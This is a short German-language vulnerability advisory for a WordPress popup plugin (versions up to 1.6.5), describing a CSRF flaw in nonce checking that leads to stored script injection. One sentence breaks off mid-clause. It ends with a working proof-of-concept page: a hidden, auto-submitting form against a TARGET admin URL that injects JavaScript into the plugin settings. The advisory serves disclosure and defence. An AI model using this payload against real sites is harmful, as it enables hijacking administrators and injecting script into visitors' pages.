
Popup für CF7 mit Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
Popup für CF7 mit Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
https://wordpress.org/plugins/cf7-sweet-alert-popup/
Der Einstellungs-Handler des Plugins enthält einen Logikfehler bei der Nonce-Verifizierung, der den gesamten CSRF-Schutz deaktiviert.
Ein nicht authentifizierter Angreifer kann dies ausnutzen, indem er einen authentifizierten Administrator dazu verleitet, eine bösartige Seite mit einem versteckten, automatisch übermittelten Formular zu besuchen, und so die Plugin-Einstellungen beliebig ändert.
Die übermittelten Werte werden ohne Bereinigung gespeichert und auf jeder Frontend-Seite über wp_head unverändert in einen
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>